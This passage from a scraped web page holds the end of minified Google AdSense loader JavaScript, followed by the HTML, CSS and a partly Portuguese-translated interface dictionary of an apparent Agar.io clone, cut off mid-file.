m=Ih(c,11,b.google_ad_client),n=J(c,fg.g);var u=b.google_ad_client;u=null!=Gh(c,void 0===u?"":u);if(!(h||k||m||u)||!Vb()||b.google_reactive_ad_format||kj(b)||qg(a,b)||b.google_ad_resize||Lc(c)!=c)d=!1;else{for(k=a;k;k=k.parentElement)if(m=$b(k,c),!m||!Oa(["static","relative"],m.position)){d=!1;break a}if(!0!==vg(c,a,d,.3,b))d=!1;else{b.google_resizing_allowed=!0;k=Bh(c.location,"google_responsive_slot_debug");m=O(zf(),142);if(k||Math.random()<m)b.ovlp=!0;h||g||n?(h={},Ci(e(),d,h),b.google_resizing_width=h.google_ad_width,b.google_resizing_height=h.google_ad_height,h.ds&&(b.ds=h.ds),b.iaaso=!1):(b.google_ad_format="auto",b.iaaso=!0,b.armr=1);(d=f?"AutoOptimizeAdSizeVariant":g?"AutoOptimizeAdSizeOriginal":null)&&(b.google_ad_channel=b.google_ad_channel?[b.google_ad_channel,d].join("+"):d);d=!0}}}if(e=kj(b))lj(e,a,b,c,d);else{if(qg(a,b)){if(d=$b(a,c))a.style.width=d.width,a.style.height=d.height,pg(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;b.google_responsive_auto_format=Xj(c)}else pg(a.style,b),300==b.google_ad_width&&250==b.google_ad_height&&(d=a.style.width,a.style.width="100%",e=a.offsetWidth,a.style.width=d,b.google_available_width=e);c.location&&"#gfwmrp"==c.location.hash||12==b.google_responsive_auto_format&&"true"==b.google_full_width_responsive&&!J(c,Mf.g)?lj(10,a,b,c,!1):J(c,Nf.g)&&12==b.google_responsive_auto_format&&(a=wg(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b),!0!==a?(b.efwr=!1,b.gfwrnwer=a):b.efwr=!0)}};function Zj(a){var b;this.b=b=void 0===b?document:b;this.h=void 0===a?0:a;this.f=ak(this,"__gads=");this.i=!1;this.a=null;this.s=!1;bk(this)}Zj.prototype.w=function(a){this.h=a;bk(this)};function ck(a,b){var c=Vd;var d=void 0===d?dk:d;1!=a.h&&(a.f||a.i)&&(D._setgfp_=Ud(c,629,function(e){delete D._setgfp_;if(!e)throw Error("Invalid JSONP response");if(e=e._cookies_){var f=e[0];if(!f)throw Error("Invalid JSONP response");var g=f._value_,h=f._expires_;e=f._path_;f=f._domain_;if(!(q(g)&&pa(h)&&q(e)&&q(f)))throw Error("Invalid JSONP response");var k=new Nb;g=Ib(k,1,g);h=Ib(g,2,h);e=Ib(h,3,e);e=[Ib(e,4,f)];e.length&&(a.a=e[0],e=a.a&&y(a.a,1))&&(a.f=e,null!=a.a&&a.f&&(e=new Date,e.setTime(1E3*y(a.a,2)),f="."+y(a.a,4),e="__gads="+a.f+("; expires="+e.toGMTString())+("; path="+y(a.a,3)+"; domain="+f),a.b.cookie=e))}}),Zb(a.b,d({domain:a.b.domain,clientId:b,value:a.f,cookieEnabled:a.i})))}function dk(a){var b=a.value,c=a.cookieEnabled;a="https://partner.googleadservices.com/gampad/cookie.js?domain="+a.domain+"&callback=_setgfp_&client="+a.clientId;b&&(a+="&cookie="+encodeURIComponent(b));c&&(a+="&cookie_enabled=1");return a}function bk(a){if(!a.f&&!a.s&&1!=a.h){a.b.cookie="GoogleAdServingTest=Good";var b="Good"===ak(a,"GoogleAdServingTest=");if(b){var c=a.b,d=new Date;d.setTime((new Date).valueOf()+-1);c.cookie="GoogleAdServingTest=; expires="+d.toGMTString()}a.i=b;a.s=!0}}function ak(a,b){a=a.b.cookie;var c=a.indexOf(b);if(-1===c)return"";b=c+b.length;c=a.indexOf(";",b);-1==c&&(c=a.length);return a.substring(b,c)};function ek(a){return Kc.test(a.className)&&"done"!=a.getAttribute("data-adsbygoogle-status")}function fk(a,b){var c=window;a.setAttribute("data-adsbygoogle-status","done");gk(a,b,c)}function gk(a,b,c){var d=Jc();d.google_spfd||(d.google_spfd=Yj);(d=b.google_reactive_ads_config)||Yj(a,b,c);if(!hk(a,b,c)){d||(c.google_lpabyc=Nh(c,a));if(d){d=d.page_level_pubvars||{};if(I(D).page_contains_reactive_tag&&!I(D).allow_second_reactive_tag){if(d.pltais){Oc(!1);return}throw new L("Only one 'enable_page_level_ads' allowed per page.");}I(D).page_contains_reactive_tag=!0;Oc(7===d.google_pgb_reactive)}else Fc(c);if(!I(D).per_pub_js_loaded){I(D).per_pub_js_loaded=!0;try{c.localStorage.removeItem("google_pub_config")}catch(e){}}Dc(Cj,function(e,f){b[f]=b[f]||c[f]});b.google_loader_used="aa";b.google_reactive_tag_first=1===(I(D).first_tag_on_page||0);be(164,function(){Tj(c,b,a)})}}function hk(a,b,c){var d=b.google_reactive_ads_config;if(d){var e=d.page_level_pubvars;var f=(za(e)?e:{}).google_tag_origin}e=q(a.className)&&/(\W|^)adsbygoogle-noablate(\W|$)/.test(a.className);var g=b.google_ad_slot;var h=f||b.google_tag_origin;f=I(c);Pc(f.ad_whitelist||[],g,h)?g=null:(h=f.space_collapsing||"none",g=(g=Pc(f.ad_blacklist||[],g))?{ma:!0,ya:g.space_collapsing||h}:f.remove_ads_by_default?{ma:!0,ya:h,ca:f.ablation_viewport_offset}:null);if(g&&g.ma&&"on"!=b.google_adtest&&!e&&(e=Hg(a,c),!g.ca||g.ca&&(e||0)>=g.ca))return a.className+=" adsbygoogle-ablated-ad-slot",c=c.google_sv_map=c.google_sv_map||{},d=Aa(a),c[b.google_element_uid]=b,a.setAttribute("google_element_uid",d),"slot"==g.ya&&(null!==ic(a.getAttribute("width"))&&a.setAttribute("width",0),null!==ic(a.getAttribute("height"))&&a.setAttribute("height",0),a.style.width="0px",a.style.height="0px"),!0;if((e=$b(a,c))&&"none"==e.display&&!("on"==b.google_adtest||0<b.google_reactive_ad_format||d))return c.document.createComment&&a.appendChild(c.document.createComment("No ad requested because of display:none on the adsbygoogle tag")),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&&8!==b.google_reactive_ad_format||!a?!1:(p.console&&p.console.warn("Adsbygoogle tag with data-reactive-ad-format="+b.google_reactive_ad_format+" is deprecated. Check out page-level ads at https://www.google.com/adsense"),!0)}function ik(a){var b=document.getElementsByTagName("INS");for(var c=0,d=b[c];c<b.length;d=b[++c]){var e=d;if(ek(e)&&"reserved"!=e.getAttribute("data-adsbygoogle-status")&&(!a||d.id==a))return d}return null}function jk(){var a=Rb(document,"INS");a.className="adsbygoogle";a.className+=" adsbygoogle-noablate";kc(a);return a}function kk(a){var b={};Dc(md,function(e,f){!1===a.enable_page_level_ads?b[f]=!1:a.hasOwnProperty(f)&&(b[f]=a[f])});za(a.enable_page_level_ads)&&(b.page_level_pubvars=a.enable_page_level_ads);var c=jk();Ob.body.appendChild(c);var d={};d=(d.google_reactive_ads_config=b,d.google_ad_client=a.google_ad_client,d);d.google_pause_ad_requests=I(D).pause_ad_requests||!1;fk(c,d)}function lk(a){return"complete"==a.readyState||"interactive"==a.readyState}function mk(a){function b(){return kk(a)}var c=void 0===c?Ob:c;var d=Mc(window);if(!d)throw new L("Page-level tag does not work inside iframes.");ng(d).wasPlaTagProcessed=!0;if(c.body||lk(c))b();else{var e=Ra(ce(191,b));rc(c,"DOMContentLoaded",e);(new p.MutationObserver(function(f,g){c.body&&(e(),g.disconnect())})).observe(c,{childList:!0,subtree:!0})}}function nk(a){var b={};be(165,function(){ok(a,b)},function(c){c.client=c.client||b.google_ad_client||a.google_ad_client;c.slotname=c.slotname||b.google_ad_slot;c.tag_origin=c.tag_origin||b.google_tag_origin})}function pk(a){delete a.google_checked_head;ec(a,function(b,c){Rc[c]||(delete a[c],b=c.replace("google","data").replace(/_/g,"-"),p.console.warn("AdSense head tag doesn't support "+b+" attribute."))})}function qk(a){var b=D._gfp_;if(void 0===b||1===b)J(D,Sf.g)?ck(D._gfp_=new Zj(b?1:0),a):D._gfp_=2}function rk(){var a=yf(201),b=J(D,Zf.g),c=J(D,Zf.c);return b||a&&!c}function ok(a,b){if(null==a)throw new L("push() called with no parameters.");Ha=(new Date).getTime();Mj();a:{if(void 0!=a.enable_page_level_ads){if(q(a.google_ad_client)){var c=!0;break a}throw new L("'google_ad_client' is missing from the tag config.");}c=!1}if(c)sk(a,b);else if((c=a.params)&&Dc(c,function(e,f){b[f]=e}),"js"===b.google_ad_output)console.warn("Ads with google_ad_output='js' have been deprecated and no longer work. Contact your AdSense account manager or switch to standard AdSense ads.");else{a=tk(a.element);Wj(a,b);c=I(p).head_tag_slot_vars||{};ec(c,function(e,f){b.hasOwnProperty(f)||(b[f]=e)});if(a.hasAttribute("data-require-head")&&!I(p).head_tag_slot_vars)throw new L("AdSense head tag is missing. AdSense body tags don't work without the head tag. You can copy the head tag from your account on https://adsense.com.");if(rk()&&!b.google_ad_client)throw new L("Ad client is missing from the slot.");var d=(c=0===(I(D).first_tag_on_page||0)&&Lh(b))&&Mh(c);c&&!d&&(sk(c),I(D).skip_next_reactive_tag=!0);0===(I(D).first_tag_on_page||0)&&(I(D).first_tag_on_page=2);qk(b.google_ad_client);b.google_pause_ad_requests=I(D).pause_ad_requests||!1;fk(a,b);c&&d&&uk(c)}}function uk(a){function b(){ng(p).wasPlaTagProcessed||p.adsbygoogle&&p.adsbygoogle.push(a)}lk(Ob)?b():rc(Ob,"DOMContentLoaded",Ra(b))}function sk(a,b){if(I(D).skip_next_reactive_tag)I(D).skip_next_reactive_tag=!1;else{0===(I(D).first_tag_on_page||0)&&(I(D).first_tag_on_page=1);b&&a.tag_partner&&(Nc(p,a.tag_partner),Nc(b,a.tag_partner));a:if(!I(D).ama_ran_on_page){try{var c=p.localStorage.getItem("google_ama_config")}catch(z){c=null}try{var d=c?new dd(c?JSON.parse(c):null):null}catch(z){d=null}if(b=d)if(c=B(b,fd,3),!c||y(c,1)<=+new Date)try{p.localStorage.removeItem("google_ama_config")}catch(z){me(p,{lserr:1})}else{if(Mh(a)&&(c=nd(p.location.pathname,C(b,gd,7)),!c||!Fb(c,8)))break a;I(D).ama_ran_on_page=!0;B(b,jd,13)&&1===y(B(b,jd,13),1)&&(c=0,B(B(b,jd,13),kd,6)&&y(B(B(b,jd,13),kd,6),3)&&(c=y(B(B(b,jd,13),kd,6),3)||0),d=I(p),d.remove_ads_by_default=!0,d.space_collapsing="slot",d.ablation_viewport_offset=c);mf(3,[Jb(b)]);c=a.google_ad_client;d=he(je,new ge(null,ne(za(a.enable_page_level_ads)?a.enable_page_level_ads:{})));try{var e=nd(p.location.pathname,C(b,gd,7)),f;if(f=e)b:{var g=y(e,2);if(g)for(var h=0;h<g.length;h++)if(1==g[h]){f=!0;break b}f=!1}if(f){if(y(e,4)){f={};var k=new ge(null,(f.google_package=y(e,4),f));d=he(d,k)}var m=new mh(c,b,e,d),n=new rh;(new wh(m,n)).start();var u=n.b;var w=Ga(zh,p);if(u.b)throw Error("Then functions already set.");u.b=Ga(yh,p);u.f=w;uh(u)}}catch(z){me(p,{atf:-1})}}}mk(a)}}function tk(a){if(a){if(!ek(a)&&(a.id?a=ik(a.id):a=null,!a))throw new L("'element' has already been filled.");if(!("innerHTML"in a))throw new L("'element' is not a good DOM element.");}else if(a=ik(),!a)throw new L("All ins elements in the DOM with class=adsbygoogle already have ads in them.");return a}function vk(){Zd();Vd.s=ee;be(166,wk)}function wk(){var a=Cc(Bc(D))||D,b=I(a);if(!b.plle){b.plle=!0;var c=[null,null];try{var d=JSON.parse("[[[175,null,null,[1]]],[[12,[[1,[[21064123],[21064124]]]]],[10,[[10,[[20040008],[20040009,[[182,null,null,[1]]]]]],[1,[[21062810],[21062811]]],[1,[[21063996],[21063997,[[160,null,null,[1]]]]]],[50,[[21064339],[21064340,[[186,null,null,[1]]]]]],[50,[[21064380],[21064381,[[196,null,null,[1]]]]]],[1000,[[368226200,null,[2,[[12,null,null,5,null,null,\x22[02468]$\x22,[\x229\x22]],[7,null,null,5,null,2,null,[\x229\x22]]]]],[368226201,null,[2,[[12,null,null,5,null,null,\x22[13579]$\x22,[\x229\x22]],[7,null,null,5,null,2,null,[\x229\x22]]]]]]],[1000,[[368845002,null,[2,[[12,null,null,5,null,null,\x22[13579]$\x22,[\x224\x22]],[7,null,null,5,null,2,null,[\x224\x22]]]]],[368885001,null,[2,[[12,null,null,5,null,null,\x22[02468]$\x22,[\x224\x22]],[7,null,null,5,null,2,null,[\x224\x22]]]]]]]]],[11,[[10,[[248427477],[248427478,[[154,null,null,[1]]]]]]]]]]")}catch(m){d=c}mf(13,[d]);ti(new ei(d),Zh(a));Cf.j().a(12);Cf.j().a(10);b.eids=Ka(Cf.j().b(),String).concat(b.eids||[]);b=b.eids;d=zf();zc=!0;c=zf();var e=Mc(a)||a;e=Bh(e.location,"google_responsive_slot_debug")||Bh(e.location,"google_responsive_slot_preview");var f=Ih(a,11);var g=null!=Gh(a,"");e?(e=ag,f=cg,c=e.g):g?(e=fg,f=gg,c=T(a,new K(0,999,""),O(c,152),O(c,153),[e.c,e.g],2)):f?(e=dg,f=eg,c=T(a,new K(0,999,""),O(c,120),O(c,121),[e.c,e.g],2)):(e=ag,f=cg,c=T(a,Rh,O(c,96),O(c,97),[e.c,e.g]));c?(g={},e=(g[e.c]=f.c,g[e.g]=f.g,g)[c],c={Qa:c,Sa:e}):c=null;e=c||{};c=e.Qa;g=e.Sa;c&&g&&(S(b,c),S(b,g));e=Mf;c=wi(a,O(d,136),[e.c,e.g]);S(b,c);Ih(a,12)&&(e=Ff,f=Ef,c=T(a,new K(0,999,""),O(d,149),O(d,150),[e.c,e.g],4),S(b,c),c==e.c?g=f.c:c==e.g?g=f.g:g="",S(b,g));e=Jf;c=T(a,Oh,O(d,160),O(d,161),[e.c,e.R,e.P]);S(b,c);f=If;c==e.c?g=f.c:c==e.R?g=f.R:c==e.P?g=f.P:g="";S(b,g);e=Tf;S(b,T(a,Ph,O(d,9),O(d,10),[e.c,e.Da]));e=Hf;c=T(a,Uh,O(d,179),O(d,180),[e.c,e.U]);S(b,c);f=Gf;c==e.c?g=f.c:c==e.U?g=f.U:g="";S(b,g);e=$f;c=T(a,Xh,O(d,195),O(d,196),[e.c,e.g]);S(b,c);f=Zf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=Lf;c=T(a,Yh,O(d,199),O(d,200),[e.c,e.g]);S(b,c);f=Kf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);Ya("")&&S(b,"");e=Uf;c=wi(a,O(d,13),[e.o,e.c]);S(b,c);c=wi(a,0,[e.la]);S(b,c);e=Vf;c=wi(a,O(d,60),[e.o,e.c]);S(b,c);c==Vf.o&&(e=Wf,c=wi(a,O(d,66),[e.o,e.c]),S(b,c),e=Yf,c=wi(a,O(d,137),[e.o,e.c]),S(b,c),c==Wf.o&&(e=Xf,c=wi(a,O(d,135),[e.o,e.c]),S(b,c)));e=Nf;c=wi(a,O(d,98),[e.c,e.g]);S(b,c);e=Sf;c=wi(a,O(d,192),[e.c,e.g]);S(b,c);e=Of;c=T(a,Th,O(d,157),O(d,158),[e.c,e.B]);S(b,c);f=Pf;c==e.c?g=f.c:c==e.B?g=f.B:g="";S(b,g);e=Qf;c=T(a,Sh,O(d,173),O(d,174),[e.c,e.g]);S(b,c);f=Rf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=hg;c=T(a,Qh,O(d,99),O(d,100),[e.c,e.g]);S(b,c);f=ig;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=jg;c=wi(a,O(d,165),[e.c,e.g]);S(b,c);e=P;c=T(a,Vh,O(d,189),O(d,190),[e.c,e.T,e.L,e.K,e.I,e.J]);S(b,c);f=kg;c==e.c?g=f.c:c==e.T?g=f.T:c==e.L?g=f.L:c==e.K?g=f.K:c==e.I?g=f.I:c==e.J?g=f.J:g="";S(b,g);e=lg;c=T(a,Wh,O(d,193),O(d,194),[e.c,e.aa,e.ba]);S(b,c);c=wi(a,O(d,185),["20199336","20199335"]);S(b,c);a=Mc(a)||a;Bh(a.location,"google_mc_lab")&&S(b,"242104166")}if(!t("Trident")&&!t("MSIE")||ub(11)){a=J(D,Wf.o)||J(D,Uf.o)||J(D,Uf.la);Xd(a);Ij();Fj(".google.dz")&&(Z[1]=".google.dz");Kj();if(a=Mc(p))a=ng(a),a.tagSpecificState[1]||(a.tagSpecificState[1]=new Ah);if(d=D.document.querySelector('script[src*="/pagead/js/adsbygoogle.js"][data-ad-client]:not([data-checked-head])')){d.setAttribute("data-checked-head","true");b=I(window);if(b.head_tag_slot_vars)throw new L("Only one AdSense head tag supported per page. The second tag is ignored.");a={};Wj(d,a);pk(a);d={};for(var h in a)d[h]=a[h];b.head_tag_slot_vars=d;h={};h=(h.google_ad_client=a.google_ad_client,h.enable_page_level_ads=a,h);D.adsbygoogle||(D.adsbygoogle=[]);a=D.adsbygoogle;a.loaded?a.push(h):a.splice(0,0,h)}h=window.adsbygoogle;if(!h||!h.loaded){a={push:nk,loaded:!0};try{Object.defineProperty(a,"requestNonPersonalizedAds",{set:xk}),Object.defineProperty(a,"pauseAdRequests",{set:yk}),Object.defineProperty(a,"setCookieOptions",{set:zk}),Object.defineProperty(a,"onload",{set:Ak})}catch(m){}if(h)for(b=ba(["requestNonPersonalizedAds","pauseAdRequests","setCookieOptions"]),d=b.next();!d.done;d=b.next())d=d.value,void 0!==h[d]&&(a[d]=h[d]);if(h&&h.shift)try{var k;for(b=20;0<h.length&&(k=h.shift())&&0<b;)nk(k),--b}catch(m){throw window.setTimeout(vk,0),m;}window.adsbygoogle=a;h&&(a.onload=h.onload)}}}function xk(a){if(+a){if((a=Yb())&&a.frames&&!a.frames.GoogleSetNPA)try{var b=a.document,c=new Sb(b),d=b.body||b.head&&b.head.parentElement;if(d){var e=Rb(c.a,"IFRAME");e.name="GoogleSetNPA";e.id="GoogleSetNPA";e.setAttribute("style","display:none;position:fixed;left:-999px;top:-999px;width:0px;height:0px;");d.appendChild(e)}}catch(f){}}else(b=Yb().document.getElementById("GoogleSetNPA"))&&b.parentNode&&b.parentNode.removeChild(b)}function yk(a){+a?I(D).pause_ad_requests=!0:(I(D).pause_ad_requests=!1,a=function(){if(!I(D).pause_ad_requests){var b=Jc(),c=Jc();try{if(Ob.createEvent){var d=Ob.createEvent("CustomEvent");d.initCustomEvent("adsbygoogle-pub-unpause-ad-requests-event",!1,!1,"");b.dispatchEvent(d)}else if(Ec(c.CustomEvent)){var e=new c.CustomEvent("adsbygoogle-pub-unpause-ad-requests-event",{bubbles:!1,cancelable:!1,detail:""});b.dispatchEvent(e)}else if(Ec(c.Event)){var f=new Event("adsbygoogle-pub-unpause-ad-requests-event",{bubbles:!1,cancelable:!1});b.dispatchEvent(f)}}catch(g){}}},p.setTimeout(a,0),p.setTimeout(a,1E3))}function zk(a){var b=D._gfp_;void 0===b||1===b?D._gfp_=a?1:void 0:b instanceof Zj&&b.w(a?1:0)}function Ak(a){Ec(a)&&window.setTimeout(a,0)};vk();}).call(this);
Rogerio111 / Rogerio<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"> <meta name="keywords" content="agario, agar, io, cell, cells, virus, bacteria, blob, game, games, web game, html5, fun, flash"> <meta name="robots" content="index, follow"> <meta name="viewport" content="minimal-ui, width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta property="fb:app_id" content="677505792353827"/> <meta property="og:title" content="Agar.io"/> <meta property="og:description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"/> <meta property="og:url" content="http://agar.io"/> <meta property="og:image" content="http://agar.io/img/1200x630.png"/> <meta property="og:image:width" content="1200"/> <meta property="og:image:height" content="630"/> <meta property="og:type" content="website"/> <title>Agar.io</title> <link id="favicon" rel="icon" type="image/png" href="favicon-32x32.png"/> <!-- Área de anuncio --> <link href='https://fonts.googleapis.com/css?family=Ubuntu:700' rel='stylesheet' type='text/css'> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/glyphicons-social.css" rel="stylesheet"> <link href="css/animate.css" rel="stylesheet"> <style>body{padding:0;margin:0;overflow:hidden;}#canvas{position:absolute;left:0;right:0;top:0;bottom:0;width:100%;height:100%;}form{margin-bottom:0px;}.btn-play,.btn-settings,.btn-spectate,.btn-play-guest,.btn-login,.btn-logout{display:block;float:left;height:35px;}.btn-spectate,.btn-logout{height:35px;display:block;width:110px;margin-left:10px;margin-bottom:5px;}#helloContainer[data-logged-in="0"] .btn-play-guest{margin-left:5px;width:125px;}#helloContainer[data-logged-in="0"] .btn-login{margin-left:5px;width:145px;}#helloContainer[data-logged-in="0"] .agario-exp-bar,#helloContainer[data-logged-in="0"] .progress-bar-star,#helloContainer[data-logged-in="0"] #agario-main-buttons .agario-profile,#helloContainer[data-logged-in="0"] .btn-play{display:none;}#helloContainer[data-logged-in="0"] .btn-logout{display:none;}#helloContainer[data-logged-in="1"] .btn-play{margin-left:5px;width:275px;}#helloContainer[data-logged-in="1"] .btn-play-guest{display:none;}#helloContainer[data-logged-in="1"] .btn-login{display:none;}.btn-settings{width:40px;}.btn-spectate{display:block;float:right;}#adsBottom{position:absolute;left:0;right:0;bottom:0;}#adsBottomInner{margin:0px auto;width:728px;height:90px;border:5px solid white;border-radius:5px 5px 0px 0px;background-color:#FFFFFF;box-sizing:content-box;}.region-message{display:none;margin-bottom:12px;margin-left:6px;margin-right:6px;text-align:center;}#preview {width: 30px;height: 30px;border-radius: 400px;border: 3px solid #17c834;margin: 1px 0;float: left; position: absolute;left: 52.7%; top:42.5%;}#nicks {width: 10%;float: left; position: absolute; left: 46%; top: 42.5%;}#nick{width:10%;padding: 0px; left: 46%; top: -12px;position: relative;}#locationKnown #region{width:100%;}#locationUnknown #region{margin-bottom:15px;}#gamemode{width:10%;float:right;top: -42.5%;right: 44%;position: relative;}.agario-panel{display:inline-block;width:350px;background-color:rgba(25, 28, 29, 0.72);margin:2px;border-radius:10px;padding:5px 15px 5px 15px;vertical-align:top;}.agario-side-panel{display:inline-block;width:220px;}#helloContainer,.connecting-panel{position:absolute;top:50%;left:50%;margin-right:-50%;-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%);}#a300x250{width:300px;height:250px;background-repeat:no-repeat;background-size:contain;background-position:center center;}.agario-exp-bar{height:30px;position:relative;border:2px solid #01612B;}.agario-exp-bar .progress-bar{background-color:#338833;border-radius:0px 4px 4px 0px;-webkit-transition:none;transition:none;}.agario-exp-bar .progress-bar-text{font-size:12pt;cursor:default;opacity:0.75;color:#FFF;text-align:center;line-height:26px;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;position:absolute;top:0;bottom:0;left:0;right:0;font-family:'Ubuntu',sans-serif;}#agario-results-table{width:100%;}#agario-results-table th{text-align:center;font-size:8pt;}#agario-results-table td{text-align:center;color:#999;font-size:11pt;padding-bottom:15px;}.progress-bar-star{position:absolute;top:-13px;right:-16px;width:50px;height:50px;background-image:url("img/star.png");background-size:cover;-webkit-transform:rotate3d(0,0,1,10deg);transform:rotate3d(0,0,1,10deg);-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-delay:0s;animation-delay:0s;-webkit-animation-iteration-count:1;animation-iteration-count:1;cursor:default;color:#FFF;text-align:center;line-height:55px;font-size:12pt;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;font-family:'Ubuntu',sans-serif;}.tooltip-inner{max-width:300px;}.agario-profile-panel{padding:15px 15px 15px 15px;}.agario-profile-panel .agario-profile-picture{float:left;display:block;width:64px;height:64px;border-radius:5px;border:2px solid #CCC;margin-right:6px;}.agario-profile-panel .agario-profile-name-container{float:left;display:table;width:120px;height:64px;position:relative;}.agario-profile-panel .agario-profile-name-container .agario-profile-name{display:table-cell;vertical-align:middle;text-align:center;font-weight:bold;}#helloContainer[data-has-account-data="0"] .agario-profile-panel{display:none;}.agario-party,.agario-party-0,.agario-party-1,.agario-party-2,.agario-party-3,.agario-party-4,.agario-party-5,.agario-party-6{display:none;}#helloContainer[data-gamemode=":party"] .agario-party{display:block;position:relative;}#helloContainer[data-gamemode=":party"] .agario-promo{display:none;}#helloContainer[data-party-state="0"] .agario-party-0{display:block;}#helloContainer[data-party-state="1"] .agario-party-1{display:block;}#helloContainer[data-party-state="2"] .agario-party-2{display:block;}#helloContainer[data-party-state="3"] .agario-party-3{display:block;}#helloContainer[data-party-state="4"] .agario-party-4{display:block;}#helloContainer[data-party-state="5"] .agario-party-5{display:block;}#helloContainer[data-party-state="6"] .agario-party-6{display:block;}.partyToken{margin-bottom:10px;}.side-container{vertical-align:top;display:inline-block;width:224px;}.cell-spinner{display:block;margin:0;}.creating-party-text{position:absolute;cursor:default;top:0;bottom:0;left:0;right:0;width:100%;height:100%;text-align:center;color:#FFF;font-size:24px;line-height:100px;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;}.agario-results-0,.agario-results-1,.agario-results-2{display:none;}#helloContainer[data-results-state="0"] .agario-results-0{display:block;}#helloContainer[data-results-state="1"] .agario-results-1{display:block;}#helloContainer[data-results-state="2"] .agario-results-2{display:block;}#options>label{display:block;width:94px;float:left;}#stats{position:relative;width:350px;height:581px;padding:0px 0px 300px 0px;overflow:hidden;}#statsPelletsContainer,#statsTimeAliveContainer,#statsHighestMassContainer,#statsTimeLeaderboardContainer,#statsPlayerCellsEatenContainer,#statsTopPositionContainer{position:absolute;width:100px;height:100px;}#statsPelletsContainer{top:30px;left:50px;}#statsHighestMassContainer{top:30px;right:50px;}#statsTimeAliveContainer{top:85px;left:50px;}#statsTimeLeaderboardContainer{top:85px;right:50px;}#statsPlayerCellsEatenContainer{top:140px;left:50px;}#statsTopPositionContainer{top:140px;right:50px;}#statsPellets{position:absolute;top:0;left:0;bottom:0;right:0;margin:auto;}#statsText{position:absolute;top:0;bottom:0;left:0;right:0;line-height:100px;font-size:23px;}#statsSubtext{position:absolute;bottom:0;left:0;right:0;line-height:60px;font-size:12px;color:#000;text-align:center;}#statsChartText{position:absolute;left:20px;bottom:250px;line-height:40px;font-size:40px;}#statsChartText,#statsText{cursor:default;color:#444;text-align:center;font-weight:bold;}#statsContinue{position:absolute;left:25px;right:25px;width:300px;bottom:295px;}#statsGraph{position:absolute;bottom:350px;left:0px;right:0px;opacity:0.4;}#s300x250{position:absolute;bottom:10px;left:25px;right:25px;width:300px;height:250px;}.tosBox{z-index:1000;position:absolute;bottom:0;right:0;background-color:#FFF;border-radius:5px 0px 0px 0px;padding:5px 10px;}</style> <script src="js/jquery.js"></script> <script src="js/bootstrap.min.js"></script> <script> i18n_lang = 'en'; i18n_dict = { 'en': { 'connecting': 'Connecting', 'connect_help': 'If you cannot connect to the servers, check if you have some anti virus or firewall blocking the connection.', 'play': 'Jogar', 'spectate': 'Observar O Jogo', 'login_and_play': 'Logar No Facebook', 'play_as_guest': 'Play as guest', 'share': 'Share', 'advertisement': 'Advertisement', 'privacy_policy': 'Privacy Policy', 'terms_of_service': 'Terms of Service', 'changelog': 'Changelog', 'instructions_mouse': 'Move your mouse to control your cell', 'instructions_space': 'Pressiona <b>Space</b> Para Duplica', 'instructions_w': 'Pressiona <b>W</b> Para Da Massa', 'gamemode_ffa': 'FFA', 'gamemode_teams': 'Time', 'gamemode_experimental': 'Experimental', 'region_select': ' -- Select a Region -- ', 'region_us_east': 'US East', 'region_us_west': 'US West', 'region_north_america': 'North America', 'region_south_america': 'South America', 'region_europe': 'Europe', 'region_turkey': 'Turkey', 'region_poland': 'Poland', 'region_east_asia': 'East Asia', 'region_russia': 'Russia', 'region_china': 'China', 'region_oceania': 'Oceania', 'region_australia': 'Australia', 'region_players': 'players', 'option_no_skins': 'Remover skins', 'option_no_names': 'Sem Nome', 'option_dark_theme': 'Tema Escuro', 'option_no_colors': 'Sem Cores', 'option_show_mass': 'Most. Massa', 'leaderboard': 'Leaderboard', 'unnamed_cell': 'Célula sem nome !"', 'last_match_results': 'Last match results', 'score': 'Pontos', 'leaderboard_time': '', 'mass_eaten': 'Mass Eaten', 'top_position': 'Top Position', 'position_1': 'Primeiro', 'position_2': 'Segundo', 'position_3': 'Terceiro', 'position_4': 'Quarto', 'position_5': 'Quinto', 'position_6': 'Sexto', 'position_7': 'Setimo', 'position_8': 'Oitavo', 'position_9': 'Nono', 'position_10': 'Decimo', 'player_cells_eaten': 'Player Cells Eaten', 'survival_time': 'Survival Time', 'games_played': 'Games played', 'highest_mass': 'Massa Total', 'total_cells_eaten': 'Total cells eaten', 'total_mass_eaten': 'Total mass eaten', 'longest_survival': 'Longest survival', 'logout': 'Sair', 'stats': 'Stats', 'shop': 'Shop', 'party': 'Jogar Com Os Amigos', 'party_description': 'Play with your friends in the same map', 'create_party': 'Create', 'creating_party': 'Criando Ah partida...', 'join_party': 'Criar Partoda', 'back_button': 'Sair', 'joining_party': 'Connectando Na Sala ...', 'joined_party_instructions': 'You are now playing with this Sala:', 'party_join_error': 'There was a problem joining that party, please make sure the code is correct, or try creating another party', 'login_tooltip': 'Login with Facebook and get:<br\xA0/><br /><br />Jogar the game with 